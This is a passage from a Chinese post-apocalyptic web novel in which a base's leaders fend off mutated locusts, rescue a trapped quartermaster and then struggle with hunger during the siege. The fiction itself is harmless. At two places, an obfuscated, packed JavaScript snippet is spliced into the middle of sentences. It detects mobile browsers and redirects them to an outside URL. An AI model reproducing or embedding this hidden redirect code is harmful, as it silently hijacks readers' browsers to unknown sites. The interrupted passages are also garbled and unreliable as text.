至于给外面加餐,总不能自己大吃大喝,让手下人继续喝西北风吧?传出去像什么样子。 他给好大儿夹了一块腊鱼,道:“多吃点,看你这个头长得忒慢,一点没遗传我的优良基因。” 江砚抬起眼帘,语气平静:“长期营养不良,能活下来就不容易了,怎么可能长高?” 萧远舟被这话噎了一下,不禁又在心里埋怨起该死的芯片。这段时间他天天尝试破解密码,却始终无果。自己的积蓄全被锁在里面,一分都取不出来。现在有了孩子,想给补充营养都没办法。 他越想越觉得郁闷。身高对男人来说很重要,矮了连对象都不好找。他自己这辈子也就这样了,但儿子必须讨上媳妇。 虽然他和江砚有了孩子,但两男人之间实在没啥交流,一天说不上几句话,各忙各的。 萧远舟心知肚明,江砚清冷的性子不是他喜欢的类型,那一夜纯粹是意外。现在江砚走投无路来投奔他,又独自把孩子抚养到现在,于情于理,他都不能不管。 不喜欢归不喜欢,日子总要过下去。他不打算找了,小卷毛的性子,不像能接受后妈的。 反正单身二十七年了,继续单身也没什么大不了。至少江砚还会回应他“嗯”、“好”、“谢谢”、“知道了”这样的基本交流。 黑子咂咂嘴,突然抬头问:“老大,这孩子也不是你亲生的啊?说不定随他亲妈,天生就不高呢?” 萧远舟声音沉了几分:“别胡说八道。他亲妈个子很高,这点我很清楚。” 黑子摸着后脑勺,更无语了:“你还见过孩子亲妈?老大你这就不够意思了,朋友夫不可欺啊……” “好好吃你的饭,”萧远舟打断他,递去一个警告的眼神,“吃饭都堵不住你的嘴,不想吃就别吃了。” 基地里的风言风语,萧远舟不是没听过。他实在有苦难言,人人都夸他心胸宽广能撑船,说他连有家室的都敢招惹,他试着解释过,可两人同住一屋,早就说不清了。 难道要他坦白,当年是他搞大了江砚的肚子?这事若传出去,江砚怕是得被拖去实验室,更要跟他拼命的。 江砚是直男,大学时还谈过恋爱呢。这种事关乎男人的尊严,让他脸往哪儿搁? 萧远舟悄悄抬眼看向江砚。对方正低头给小卷毛剥虾,捏着虾壳的指节微微收紧,显然是听进了刚才那番话。 他夹了块鱼肉放到江砚碗里:“别光顾着孩子,你自己也多吃点。” 江砚抬眼看了看他,目光有些复杂,却终究没说什么,只轻轻点头:“嗯。” 小卷毛举着虾肉,在板凳上欢快地扭来扭去:“爸爸!虾好吃!江泽最爱吃大虾!” “江泽,坐好,别乱动。” “唔,好哒爸爸。” 饭后不久,众人没休息多久就又投入劳作。割麦、打谷、挖红薯,土豆……烈日灼人,汗水浸透衣背,但没人敢停下。粮食就是命,多收一成就多一线生机。萧远舟怕有人中暑,还吩咐人多送了几趟水。 一直忙到日落时分,天边染上橙红,大家才得以歇息。陈凯如约骑上三轮车,带孩子们在山头转了几圈,山下危险,他不敢带娃深入。 晚饭仍是王翠花做的,比中午逊色不少。汤多米少,腥气也重,但依旧吃了个干净。 饭后,萧远舟抱着小卷毛爬上瞭望塔。 天色渐暗,化作深紫,唯剩海天交界处一抹残红。晚风拂面而来。他将孩子举高了些,小卷毛细软的发丝蹭过他的下巴,痒痒的,很柔软。 “蜀黍!好多鸟鸟!” “那是海鸥。”江砚从身后走来,声音清冷,“海鸥有白色的羽毛,栖息在海边,以鱼虾为食。” 小卷毛眨着大眼睛:“它们住在海里吗?” “不,白天在海面飞翔,夜晚找礁石休息。” “哇!今天有好多海鸥呀!” 萧远舟望着海边密集的鸟群,忽然开口:“海鸥对天气变化很敏感,变天前常会聚集。它们也很聪明,遇到危险时知道聚在一起求生,就像人一样。” 他顿了顿,声音低沉下来:“江砚,今天的海鸥……多得有些不正常。” 江砚微微蹙眉,望向海边那黑压压的鸟群,心底掠过不安。如今,任何异常都可能是危机的前兆。 他轻声应和:“是太多了。” “江砚,你去城墙上找陈丽娟,让她把望远镜拿来。” “好。” 江砚立即转身去找人。不久后,陈丽娟便拿着望远镜跟他一同快步登上塔顶。 萧远舟将望远镜抵在眼前。镜片中的海鸥密密麻麻,除了数量异常之多,表面看来并无异样。 他刚要放下,小卷毛却突然指着某处,脆生生地说:“叔蜀!那只大鸟鸟说……有虫虫来了!” 萧远舟心头一动,重新举起望远镜。这一次,他注意到了不寻常的细节,海鸥的羽翼上沾着土黄色粉末,啄食的动作焦躁不安。更令人警惕的是,好几只海鸥的羽毛间沾着血迹。 他缓缓放下望远镜,眉头越皱越紧:“不对劲……这些海鸥像是在躲避什么,它们身上沾的东西不寻常。” 江砚接过望远镜,调整焦距仔细观察了片刻。当他再次抬起头时,脸色变得凝重:“可能是蝗虫。这些粉末很像蝗群过境时扬起的沙尘。而且你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252011|182008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,有些海鸥的爪子和喙上有伤口,这绝不是正常现象。” “蝗虫?”陈丽娟凑近一步,语气带着难以置信,“我们这儿是沿海地带,从来不是蝗灾区啊!” “末世改变了很多东西,”江砚的声音依然冷静,“气候、生态都乱了。有的海鸥很可能是从受灾地区飞来。它们身上的伤,说明遇到的可能不是普通蝗虫。” 晚风忽然加紧,海鸥群受惊腾起,扑翅声阵阵。 萧远舟的手紧紧握住栏杆:“看来今晚注定无眠了。通知下去,蝗虫群可能正在逼近,所有人立刻行动,必须连夜抢收所有庄稼。” 一楼的灯光昏黄。刚躺下不久的核心成员被陈丽娟匆匆叫醒,围站在长桌旁。 “都打起精神,”萧远舟开门见山,语气凝重,“蝗虫群离我们不远了,很可能已经变异。” “蝗虫?”李福刚喝下去的水差点喷出来,满脸惊愕,“我们这儿可从来没闹过蝗灾!” 江砚眼神锐利:“末世之后,什么都有可能发生。” 黑子脸色发白:“那地里的粮食咋办?刚收了一半,还有才种下去的冬苗!要是被吃了,咱们冬天怎么熬?” “所以今晚,必须全部抢收回来!” “等等,”陈凯皱紧眉头打断,“山下那些东西,万一动静太大引过来……” “不必担心,基地外围的清理工作从未松懈,引不来大家伙。通知所有人,动作迅速,但动静要轻!所有搬运都必须轻拿轻放。” 他话锋一转,语速陡然加快:“还有一件急事必须立刻处理!老二,东边新开荒的冬种地,冬苗才刚冒头,根本无法收割,绝不能毁在蝗虫手里!你立刻带人去库房,找出最厚的防水布,把整片地从头到尾给我盖得严严实实,边缘全部用泥土压实压牢,一丝风都不能透。铺完之后,再在上面撒一层土做伪装。” 柒莹眼神沉静,利落点头:“明白,我马上去办。” 萧远舟目光扫过众人,继续清晰地下达指令:“汪成文,你带一队人,负责抢收成熟的麦田。” “陈凯,西洼子的谷子由你负责。” “黑子,你力气大,带上几个人去挖红薯和土豆。下手注意分寸,尽量不要碰破皮。” “李福,你带领后勤组,负责将所有粮食搬运入库或进入地窖,务必做好清点登记。” “李阳瑞,北坡的菜地交给你。记住,夜间劳作,所有人必须把声响压到最低。” 众人齐声应道:“是!我们这就去!” “等等,”萧远舟叫住正要转身的众人,补充道,“都把通讯器带上,保持交流。” 他随即转向陈丽娟,语气严肃:“立刻启动外围电网,将你手下的人分散布置到各个岗哨,加强警戒。你亲自坐镇瞭望塔,紧盯四周,任何方向有异常,立即通知各小队。” 陈丽娟郑重点头:“放心,交给我。” 众人再无迟疑,背影融入夜色,杂而不乱的脚步声很快在四处响起。 江砚上前一步,跟在萧远舟身后问道:“我需要做什么?” 萧远舟顿步,瞥见不远处小卷毛坐在大白背上,眼睛一亮:“你找李福,夜里不能用三轮车,让大白帮忙运东西。明天给它十块晶石当报酬。” 大白甩了甩尾巴,小卷毛在它背上喊:“大白加油!” 17. 危机 夜色昏沉,一轮弯月悬于天际,微弱月光勉强勾勒出田野轮廓。万籁俱寂,只余刻意压低的喘息声、镰刀割麦的闷响、以及麻袋拖过地面的沙沙声。 北边萝卜地里,萧远舟带着三十几个壮汉埋头苦干。 阿虎和大山手脚最为麻利,借着稀疏月光,弯腰摸索,抓住萝卜叶,用力拔起,扔进箩筐里,动作干净利落。众人皆闭口不言,只专注手头工作。 萧远舟直起身,扫视整片田地,心里估算着剩余工作量。时间紧迫,蝗虫随时可能来袭,一刻也不敢放松。 他不动声色在心里唤出虚拟地图,山脚下几个红点正在移动,是从镇里游荡出来的丧尸。 几道黑影从基地方向快速靠近,是后勤运输组。 领头的是李福,身后跟着一群小伙子,手拿空麻袋和绳索。 江砚一身黑衣几乎融入夜色,悄无声息从李福身后出现。众人没有交谈,没有打招呼,径直走向箩筐,将筐扛上肩头,走向田地边缘。 道路旁,大白虎稳稳站立。夜风吹拂它蓬松的毛发,尾巴在月光下轻轻摆动。 它身后连接着一架特制木质推车,车轮用厚布条包裹,有效减少了摩擦噪音。 小卷毛坐在白虎背上,小手攥着虎毛,随着白虎动作轻轻晃动。 江砚把箩筐放到推车上,拍了拍白虎的头,低声道:“辛苦大白了,送过去吧。” 大白虎晃了晃脑袋,迈开步子,身后木质推车平稳滑动,在夜色中朝仓库方向而去。 时间在无声劳作中流逝,汗水浸湿脊背,又被冷风吹凉。 萧远舟抹了把额上汗水,忽然,虚拟地图西边,红色光点正在移动,轨迹飘忽不定,不似丧尸。 他拿出通讯器压低声音:“陈丽娟,注意西北方向有东西靠近。” “收到。”陈丽娟立在瞭望塔上,举起夜视望远镜对准西北天空。镜片中泛着幽幽绿光。她很快发现五个快速移动的黑影,正低空向田地逼近。 陈丽娟立即通报:“陈凯,李阳瑞注意天上,有飞行物往西北田区来了,体型不小,速度很快。” 陈凯捆扎麦子的手一顿,猛地抬头,月光下隐约看见几道黑影掠过,带起一阵腥风。 “天上有东西,所有人戒备!”陈凯低喝一声,挂在腰间的金属刀片应声出鞘,向天上刺去。 众人瞬间反应过来,手中农具紧握,目光齐刷刷投向天空。 白菜地里,李阳瑞刚把一颗白菜扔进筐里,听到示警立刻召唤藤蔓挡在身前,正好挡住了一只腐化乌鸦的利喙。 “往掩体后面躲!”李阳瑞大喊。 他双手紧按地面,催发木系异能。藤蔓迅速变长加粗,表面长出尖锐木刺,狠狠扎进腐鸦肉瘤中。 腐鸦痛得嘶叫,挣扎中碰倒白菜筐,藤蔓趁机缠住其脖颈,用力一绞,腐鸦扑腾两下便掉落在地。 另一边,陈凯腰间的金属刀片全部竖在周围,密密麻麻五十多把。 他盯着天上腐鸦,眼神凌厉:“把这些怪物打下来!”话音未落,刀片齐射,将腐鸦割得黑血四溅。 萧远舟没理会西北田区的打斗。基地从不养闲人,若事事亲力亲为,迟早累死。手下的人都有本事,对付几只腐鸦绰绰有余。 他只往西北方扫了一眼,便重新低头,手里动作更快了些。眼下,抢收粮食才是最要紧的。 西北田区的战斗迅速平息,但危机并未解除。基地外围黑暗中,更多异动开始显现。 电网边缘,浑身腐烂、獠牙外翻的野猪红着双眼疯狂冲撞电网。高压电流一次次将它弹开,令它发出痛苦嚎叫,可它依旧撞个不停。 南边红薯地,黑子踩死几只钻缝的腐化甲虫,绿色汁液溅在泥土里冒出黑烟。 西边谷田,腐化蜥蜴刚探出舌头,就被陈凯用金属刀片钉死在地上。 各处零星出现腐化怪物,规模不大,多被电网拦在外面。众人一边清理靠近的怪物,一边抢收,作物渐渐减少,只剩东边小片麦田和几亩白菜地。 时间在煎熬中流逝,月亮西沉,天边泛起鱼肚白。凌晨六点,风里忽然传来密集的振翅声。 就在这时,陈丽娟对着通讯器急促喊道:“蝗虫,蝗虫群来了,东边全是。黑压压一大片,正快速压过来,大家快跑!” 萧远舟猛地抬头,瞳孔骤缩! 东方天际,黑压压的蝗虫群如潮水般涌来,遮天蔽日。 萧远舟冷静下令:"各小队注意,立即通知所有人撤离。放弃所有物资,立刻撤回基地。动作快!" "快跑!" "撤回基地!" 呼喊声从四面八方响起,人群如受惊的蚂蚁,抛下手中的农具和箩筐,不顾身边尚未收拾的粮食,拼尽全力向基地和宿舍楼冲去。 混乱中,李福却逆着人流扑向两筐小麦。他双眼通红,用扁担扛起箩筐,声音沙哑地喃喃自语:"这世道真是不让人活。我们辛苦一年才收了这点粮食,自己都没能吃上一顿饱饭,现在却要眼睁睁看着这些畜生来祸害。" 萧远舟刚冲到基地门口,回头看见这一幕,厉声喝道:"老李,扔掉箩筐!你不要命了吗!" 这位平日里精打细算、最看重物资的老后勤,此刻却展现出惊人的固执。对粮食的执念似乎已经压倒了对死亡的恐惧。他扛着两个沉甸甸的箩筐,步履蹒跚地向基地大门挪动。 萧远舟刚要冲出去,却猛地停住脚步。蝗虫如黑色潮水般涌来,仿佛嗅到了什么气息,直扑李福而去。此刻冲出去无异于同归于尽。 就在这时,李福脚下的土地开始翻动,黄土迅速隆起,筑起四面土墙将他围在其中。蝗虫密密麻麻地爬满墙面,却无法进入。 萧远舟回头望向瞭望塔。 塔上传来陈丽娟的喊声:"老李,先在土墙里待着!等安全了我就放你出来。老大快跑!" 话音落下,她迅速盖上楼梯铁板,躲进了塔下安全处。 萧远舟立即转身冲进基地,正要往家里跑时,看见柒莹和汪成文正合力厚重的地窖盖合拢,汪成文快速用钥匙将地窖锁死。 蝗虫的嗡鸣声近在耳边,带着腥味的风扑面而来。 "快走!"萧远舟对两人低吼,同时掌心迸发出金色电光,在空中织成一张巨大的电网。 "咔嚓!" 扑来的蝗虫先锋被电流击碎,空气中弥漫开焦糊的气味。 柒莹几乎在雷电爆发的同时出手,炽热的火焰喷涌而出,在雷电间歇时形成一道死亡屏障,将后续涌上的蝗虫烧成灰烬。 "快进来!"江砚站在小楼门口喊道。 趁着雷火交织的短暂空隙,萧远舟、柒莹、汪成文三人如利箭一般冲进小楼。 江砚在他们踏入的刹那,猛地拉下金属卷帘门,将疯狂的死亡嗡鸣彻底隔绝在门外。 萧远舟背靠金属门,眼神锐利扫视四周:"清点人数!" 江砚快速环视一周:"我们四个,加上小卷毛和大白。李福在土墙里,陈丽娟在瞭望塔下,其他人应该都已经撤回宿舍楼或工厂了。" "老李!"汪成文抹了把脸上的汗水和泥土,声音里带着后怕与焦急,"他还在外面!土墙真的能顶住吗?那些蝗虫数量太多了!" 柒莹靠在墙边喘着气,看向不断震动的卷帘门,眉头紧锁:"土墙暂时能抵挡,但这些蝗虫非同寻常。若是它们持续不退,恐怕会有危险。" 萧远舟脸色阴沉得可怕:"真是不想活了,为两筐粮食连命都不要了。" "他也是心疼粮食。"汪成文叹了口气,语气复杂,"他向来抠搜,看到粮食被糟蹋,比割他的肉还疼。在这个世道,他把粮食当成人的命。" "有命活着才能享受粮食!"萧远舟打断他,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252012|182008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气冷峻,"人都没了,粮食留给谁?简直是愚蠢!" 他强迫自己冷静下来:"老二,用通讯器联系陈丽娟,确认她的安全,询问土墙情况。再联系宿舍楼和工厂那边,确认是否有人员伤亡或被困。" "明白。"柒莹利落地拿起通讯器,压低声音呼叫:"陈丽娟,陈丽娟,收到请回答,汇报你的状况和土墙状态!" 短暂的沉默令人窒息,只有门外蝗虫撞击声和嗡鸣声持续不断。 小卷毛在江砚怀里不安地扭动,江砚轻轻拍抚着他的后背。 突然,通讯器里传来陈丽娟紧张的声音:"收到!我在塔下,暂时安全!铁板很厚实,它们在撞击,但撞不开。" 她深吸一口气,继续说道:"土墙外面全是蝗虫!黑压压的一片!它们正在啃噬土墙,我一直在不断加固,但最多只能坚持三个小时。" 萧远舟眼神凌厉,斩钉截铁地下令:"陈丽娟,坚持住!尽可能延长土墙的支撑时间!我们正在想办法!其他区域情况如何?有没有人员伤亡?" 通讯器里很快传来其他小队断断续续的汇报: 黑子回报:"宿舍楼安全!所有人都撤回来了,大门已经封死!南区没有人员被困,都在宿舍内!" 陈凯:我和李阳瑞小队也安全,目前都在工厂内部。" "很好!"萧远舟稍稍松了口气,至少大部队都安全撤回。 他拿起通讯器,声音冷静:"老李,能听见就回话。" 通讯器里传来一阵杂音,随后是李福沉闷的回应:"我在。" "陈丽娟的土墙最多只能支撑三小时,这点你应该明白。"萧远舟语速很快,不带任何感情,"我做事向来权衡利弊。现在虫群密度太大,硬闯就是送死,我不会陪你冒险。" 他稍作停顿,目光扫过震动的卷帘门,语气更加沉重:"我会设法救援,但你要明白,如果找不到稳妥的方法,我必须为其他人的安全考虑,不会为你一人赌上整个基地。" "三小时是你的时限。若能等到救援,算你命大。若等不到,就只能靠自己了。" "我懂,甭惦记我。你是当家的,得以大伙为重。真没法子,就别管我了。这世道能活到今天,我也知足了。" 他顿了顿,声音里透着一股认命的豁达:"三个钟头够啦,临了还有两筐麦子做伴,到了下头不当饿死鬼。" 沉默片刻后,他的语气忽然急切起来:"皮册子你得拿去,就在我屋的木桌上。钥匙在裤兜里,用纸包着的。等虫子退了,千万记得去取。" "咱全部家当都记在上头咧,粮食、车辆、药品、种子,一样不落。还有隔壁绣水岛,去年借了咱一袋粮,到现在都没还,可得讨回来。进出账目我都记得清清楚楚,谁欠了多少口粮,谁多领了半碗米,一笔笔都写着呢。" 他的声音忽然柔软下来:"对了,我柜子里还藏着一小袋冰糖,一直没舍得吃。拿去给阿毛那些娃娃分分,让他们甜甜嘴。" 通讯器里传来压抑的抽泣声,混杂着蝗虫啃噬土墙的沙沙声响。 李福的声音哽咽着,断断续续地说道:“早年间,我家里穷,供不起我读书了,十四岁,我就离家去城里打工,年纪小,没人要,我在码头扛大包,重啊,压得人腰都直不起,舍不得吃,舍不得穿。” 他深吸一口气,声音沧桑:“攒下点钱,我就开始跑运输,开饭店,熬了整整二十多年,总算攒够了钱,回到岛上开厂子,我还记得开工那日,鞭炮放了整整一上午,我心里头,甭提有多甜哩。” 通讯器里传来他苦涩的笑声:"可好日子没过几年,机器都没焐热呢,世道就变了,一夜之间,没了,没了,啥都没了,我拼搏了半辈子,到头来一场空啊。” 他声音颤抖:"如今……如今我连筐麦子都守不住。不晓得要落得个啥死相,怕是连全尸都留不下哟。” 18. 枯古蝗虫 良久,时间一分一秒流逝。 通讯器里陈丽娟声音越来越急促虚弱:“我异能马上见底了,快加不动土了,大家赶紧想想办法,真的快抗不住了。” 萧远舟沉默地盯着眼前虚拟光脑上的扫描结果: 【种族:枯古蝗虫(体内含寄生蜂卵)】 【攻击性:60(群体攻击,啃噬性强)】 【生命状态:亢奋(持续进食,繁衍激增)】 【威胁等级:A】 【综合评估:蝗虫数量大,嗅觉灵敏,群攻性强,建议大范围火或雨水驱散】 通讯器里传来李福的声音:“你们别白费力气了,不用管我了,我老李这一辈子穷过,富过,大风大浪的,值了。” 萧远舟面色沉重:“未必没有办法,蝗虫群应该怕火,怕水,我们可以试试。老二,汪成文,我需要你们的异能开路,咱们试试吧。” 柒莹几乎没有犹豫:“我没意见。” 江砚平静道:“你考虑清楚了吗?外面很危险,不是几只几十只,而是成千上万只。” 汪成文声音发颤:“江砚说得对,这太冒险了,真的能撑到那里吗,万一失败了。” “我有把握的,”萧远舟冷静分析,“冷热交替会产生大量蒸汽,汪成文,你的水系异能,重点在于配合老二,用水汽覆盖火焰,限制虫群的行动,老二火系开路,我负责开辟出一个小型通道,不用宽,一米足够,咱们往后门出去,那边虫少,还没聚集。” 江砚疑惑问道:“你怎么知道后侧虫少?” “我刚才听虫鸣,后侧方向动静小,说明虫群没往那边聚,如果中途真撑不住,咱们立刻撤回来。” 萧远舟顿了顿,看向汪成文:“我不会拿命赌。之前几次遇险,我什么时候让大家吃过亏?这次也一样,信我就走,不信我不勉强。” 短暂的沉默。 汪成文一咬牙,猛地捶了一下大腿:“妈的,干了!老大,要是真栽了,下辈子我还跟你混,咋说,我都不能眼睁睁看着老李陷在里头不管吧。” 江砚道:“那我守着门,你们冲出去就别停,回来时敲三下,我立马开,记住,一旦感觉不对,立刻退,别硬扛。” 小卷毛抬起头,奶声奶气地插话:“嗯,窝,窝也干了,哦,对了,萧叔叔,你回来的时候可以帮我把掉在大门口的窝窝头捡回来嘛,虽然脏了,但擦擦窝不嫌弃,我能吃。” 萧远舟愣了一下,随即失笑,伸手用力揉了一把小卷毛的脑袋:“小馋猫,窝头早被虫啃干净了,一会让你爸爸带你上去喝奶。” 他边说着,边拿起通讯器:“娟姐,再坚持五分钟。一会听到我的信号,就立刻把土墙撤掉,一秒都别犹豫。” 陈丽娟:“明白,五分钟,我等你信号,你们一定要小心。” “行动!”萧远舟率先走向后墙那扇不起眼的老旧小铁门。柒莹和汪成文紧随其后,异能的光芒在掌心隐隐流转。 江砚抢先一步走至门前,对众人使了个眼色,猛地拉开了门栓。 铁门开启瞬间,立刻有蝗虫嘶叫着试图闯进来。 “吼~”白虎突然起身,挡在小卷毛前发出一声咆哮,无形声波扫过,蝗虫群瞬间停滞了几秒。 “就是现在,走!”萧远舟低吼,三人迅速从门口疾跑而出。 江砚立刻将木门死死关上,后背紧贴着门板,能清晰地听到门外的虫鸣。他深吸一口气,开始了艰难的等待。 “冲!”三人同时释放异能。柒莹双手向前推举,火焰烧灼出一条短暂的通道。 汪成文紧随其后,旋转的水流如同护盾般扩张,浇熄试图扑上来的蝗虫,蒸腾起大量白雾。 萧远舟断后,双手闪起一道道雷电,将两侧和后方试图合拢的虫群电成焦炭。 他们如移动的堡垒,在狂暴的虫海中艰难前行。火焰、水流与雷电交织,蝗虫尸体噼里啪啦掉落,但更多的立刻补上缺口。每一步都异常艰难,异能以前所未有的速度消耗。 才冲出不到两百米,压力陡增,一只格外硕大的枯古蝗虫竟穿透了水火交织的防线,直扑萧远舟的面门。那锋利的口器闪烁着寒光,萧远舟正全力维持雷电清场,根本来不及回防。 完了,这个念头刚闪过。 然而,就在蝗虫即将刺入他皮肤的瞬间,那只蝗虫突然发出一声嘶鸣,身体剧烈颤抖,仿佛遇到了什么极端恐怖的东西,竟硬生生扭转方向,一头撞进了电光中,被电成了焦炭。 萧远舟心中巨震,怎么回事,但生死之间,由不得他细想,只能将其归于错觉或是自己雷电的余威,继续全力输出。 “快,就在前面!”柒莹嘶哑地喊道,她的火焰已经明显减弱。 最后的五十米,土墙近在眼前,却已被黑压压的虫群完全覆盖。 萧远舟大吼:“柒莹,烧开它。” 柒莹咬破嘴唇,火焰猛地一涨,穿上墙面,将虫群烧落。 “撤,把土墙撤掉。” 声音通过萧远舟腰间的通讯器,传到陈丽娟耳朵里,不出半秒土墙轰然倒塌,露出里面几乎虚脱的李福和两筐小麦。汪成文伸出手,一把将他拽了出来。 “走!” 三人护着李福,立即原路返回。好在两筐小麦吸引了蝗虫的注意,没有密密麻麻扑上来,但归途依旧艰难,异能几近耗尽,防护圈更是不断缩小。蝗虫几乎贴到了他们的后背。 “大家都跑快点,再快点!”柒莹催促着,脸色也苍白如纸。 终于,老旧的小铁门近在眼前。汪成文用尽力气,在门板上重重敲了三下。 “咚咚咚” 门立刻向内打开,江砚急道:“快进来。” 四人连滚带爬地扑入门内,江砚奋力关门。但就在门扉即将合拢的刹那,几十只枯古蝗虫顺着缝隙蜂拥而入。 萧远舟眼疾手快,指尖雷电瞬间窜出,蓝金色的雷电一闪,蝗虫刚碰上就电成了焦团。 铁门刚关上,门外就传来密集的撞门声。屋内几人却没力气管了。 柒莹直接瘫倒在地,大口喘息,汪成文也靠着墙壁滑下去,眼神发直,累得说不出一句话。 李福更是被吓得早已脱力,躺在地上如同一滩烂泥,胸膛剧烈起伏。 萧远舟一把扶住桌子,勉强撑住身体。他环顾四周,看着众人狼狈不堪、精疲力尽的模样,最后目光落在李福身上。 萧远舟扶着桌沿站直,眼神冰冷:“李福,我再跟你说最后一次。” “你今天逞的不是能,是蠢,蠢死了,为了这点吃的,让我们三赌上命来救,你觉得很值吗?” “我救你,是看在几年的情分上,但情分经不起糟践,下次再为这种事把自己陷进去,你就等着喂虫,我萧远舟是绝不会再踏出门一步的。” 这话如同重锤,狠狠敲在李福心上。他张了张嘴,想辩解那不是一点吃的,那是大家几日的口粮,想说自己冲出去的时候没想过会拖累人,更没想过虫潮会这么猛。 可在萧远舟的目光下,所有的话都堵在了喉咙里,最终化作了一连串又悔又怕的点头:“是是是,老大,我记住了,是我老糊涂了,是我犯浑,下次绝不再犯了,绝不再犯了。” 汪成文扶着墙缓过一口气,声音带着点劫后余生的调侃:“老李头,听见没?你这犟驴脾气,迟早得改改,两筐粮,能顶啥用?差点把咱三全搭进去了。” 他喘了口气,转头看向旁边几乎虚脱的柒莹和脸色苍白的萧远舟,语气认真:“怎么样,你们还撑得住吗?” 柒莹连摇头的力气都没了,只是勉强抬了抬手示意自己还活着。 萧远舟叹了口气,扶着桌子坐到了木椅上:“没事,我楼上藏了点晶石,在衣柜的暗格里,江砚,麻烦你去拿下来,大家分了吸收,尽快恢复。” 江砚点头,转身快步上楼,不一会,拿着小布包下来,里面是颜色各异的能量晶石。众人默默接过,各自找地方坐下,握紧晶石,闭目吸收起来。 淡淡的光晕在三人周身流转,苍白的脸色稍稍恢复。 时间在寂静中流逝,屋外的天色彻底暗下,黑夜吞噬了光亮,只有蝗虫不知疲倦撞击着铁门和水泥墙。 ………… 被蝗虫围住的第四天。 二楼的光线被厚重的窗帘挡在外面,屋里昏沉。 小卷毛安安静静地坐在地上,手里抱着一罐奶粉,白嫩的小脸蛋上写满了纠结,时不时把罐子凑到鼻子前闻闻,是淡淡的奶香味,是甜甜的很好喝。 江砚走上楼,看到的就是这一幕。这几日,他们早将小楼翻了个底朝天,压根没找出啥存粮。 大人尚能靠清水硬撑,但饥饿感无时无刻不在灼烧着胃部。他不是没想过将奶粉藏起来,那是他儿子最后的保障。 然而,他江砚心再冷,也做不到眼睁睁看着人活活饿死在自己面前。 于是,这罐奶粉便成了维系众人体力的唯一来源,江砚每天都会给大家泡一碗奶粉,无法缓解饥饿,只能让人吊着一口气。 他温声问:“江泽,你在想什么呢?” 小卷毛抬起头,大眼睛里水汪汪的,把奶粉罐往怀里搂紧了点,声音小小的,带着点不舍:“爸爸,窝的奶粉罐罐,轻了,轻了好多哇。” “嗯,罐罐轻了,你别难过,以后会满上的,要不要下楼,大白在下面等你呢。” 小卷毛乖乖点头,把罐头放在地上,不忘小声说:“罐罐,窝会给你装满满的。” 江砚抱着小卷毛下了楼,他走至桌边坐下,深吸一口气,打破宁静:“要想想办法,蝗虫群没有散去的迹象,它们能耗得起,我们呢?这是想把人活活困死吧。” 萧远舟坐在地上,望向卷帘门,门上已经有了啃咬的痕迹:“我知道,再这么耗下去,不等饿死,门都会啃穿的。” “妈的”,汪成文的手狠狠拍在桌上,“这鬼东西。” 李福肚子里突然传来一声巨响,他有气无力道:“饿啊,饿得人前胸贴后背了,我们一帮大人,天天靠着分孩子的口粮吊命,这算怎么回事,我一张老脸都臊得慌。” “反正都是死路一条,我听说以前有人吃蝗虫,老二,老二啊,你放把火,咱捡点来填填肚子吧?” 柒莹冷笑:“你是饿疯了?就不怕吃了变成怪物?” “总比饿死强”,李福声音发飘。 萧远舟皱眉打断:“别想了。救你时我看到了,不少蝗虫肚里有活物在动,估计是寄生蜂的卵。这你也敢吃?” “吃啊,再不吃人真要饿死了。” “滚。” “寄生蜂卵”,江砚低声重复,紧锁的眉头先是困惑,随即捕捉到关键,眼底闪过光芒。 他猛地抬头看向萧远舟,声音激动:“寄生蜂?你说它们体内有寄生蜂卵?” “是啊。” 萧远舟虽没亲眼看到,但扫描结果明确不会错,只是有些不解江砚为何突然如此关注这个小小的细节。 江砚声音里满是兴奋,替众人解惑:“寄生蜂是蝗虫的天敌。它们的幼虫会寄生在蝗虫体内,吸食其营养,最终杀死宿主并破体而出。对,蜂卵就是它们的催命符。” 李福有气无力道:“可那些东西什么时候出来?都折腾这多天了,也没见动静。万一,万一它们一辈子不出来,咱不还是死路啊?” 李福的话像一盆冷水浇来。昏暗的房间里,空气瞬间凝固了几分。 “李老板啊,你少说两句丧气话。好不容易有个法子,你非得......”汪成文说道。 萧远舟抬手打断他,声音异常平静:“李福说得没错,这些蝗虫很亢奋,三天了,正常情况下,寄生蜂幼虫早该破体了。” 柒莹疑惑地问:“你是说,蜂卵有问题?” “不是蜂卵有问题。”江砚突然开口,声音低沉,“我觉得可能是蝗虫,或许它们在抵抗。” “抵抗?”萧远舟哑着嗓子重复,干裂的嘴唇渗出血丝。 江砚说道:“普通蝗虫遇到寄生蜂只能等死。但这些,是腐化种。我觉得,它们可能是在用疯狂进食来压制体内的蜂卵。” 汪成文倒吸一口凉气:“所以它们才这么执着?不是要吃了我们,是要用我们的血肉当成镇压蜂卵的养料?” “是的,蜂卵在发育,但速度慢是因为蝗虫在抵抗,幼虫破体需要温度催化,越干燥闷热的环境,它们成熟得越快,这些蝗虫死的也越快。” 柒莹猛地站起身,朝众人扬了扬下巴:“我懂了,所以咱们得加把火,让催命符提前发作。” 萧远舟突然沉声开口:“等等。” 他目光落在江砚身上:“江砚,上楼说点事。” 两人往楼梯上走,江砚怀里的小家伙正睁着圆溜溜的眼睛,小脑袋还时不时往楼下瞅。 二楼房间里很安静,萧远舟从桌上拿起玻璃杯,倒了杯温水递给江砚。 